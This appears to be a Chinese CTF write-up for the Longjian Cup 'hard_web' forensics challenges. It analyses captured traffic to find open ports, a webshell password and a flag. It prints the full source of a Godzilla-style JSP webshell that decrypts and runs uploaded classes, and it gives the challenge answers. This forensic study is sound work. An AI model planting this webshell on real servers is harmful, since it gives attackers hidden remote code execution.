第二届陇剑杯hard_web_1-3 writeup
2023-8-29 23:45:30 Author: blog.rainbutterfly.xyz(查看原文) 阅读量:49 收藏

题目

1.服务器开放了哪些端口?

2.服务器根目录下的flag值是多少?

3.该webshell的连接密码是多少?

Writeup

1.打开流量包发现存在服务器的IP地址为192.168.162.188

使用winshrak过滤语法:ip.dst == 192.168.162.188 and tcp.connection.synack 然后打开统计中的端点,点到TCP一栏中发现只有80,888,8888存在流量其他都为0 bytes

题目1的flag为80,888,8888

继续跟踪下去发现流24207包中一个cat命令,这里题目3的websehll是shell.php的连接密码不是index也不是test的,笔者在这里遇到了困惑后面去问了别人

shell.php文件内容为

<pre><%! String xc=”748007e861908c03″; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(“AES”);c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),”AES”));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader(“Content-Length”))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute(“payload”)==null){session.setAttribute(“payload”,new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(“parameters”, data);Object f=((Class)session.getAttribute(“payload”)).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

通过观察发现该web shell为哥斯拉的webshell

解密发现该文件的连接密码为14mk3y

题目3的flag为14mk3y

在包24362中连接了shell.php

经过流量解密发现执行了cat /flag命令

下面返回包返回了flag文件内容:flag{9236b29d-5488-41e6-a04b-53b0d8276542}

题目2的flag为:flag{9236b29d-5488-41e6-a04b-53b0d8276542}


文章来源: http://blog.rainbutterfly.xyz/2023/08/29/%e7%ac%ac%e4%ba%8c%e5%b1%8a%e9%99%87%e5%89%91%e6%9d%afhard_web_1-3-writeup/
如有侵权请联系:admin#unsafe.sh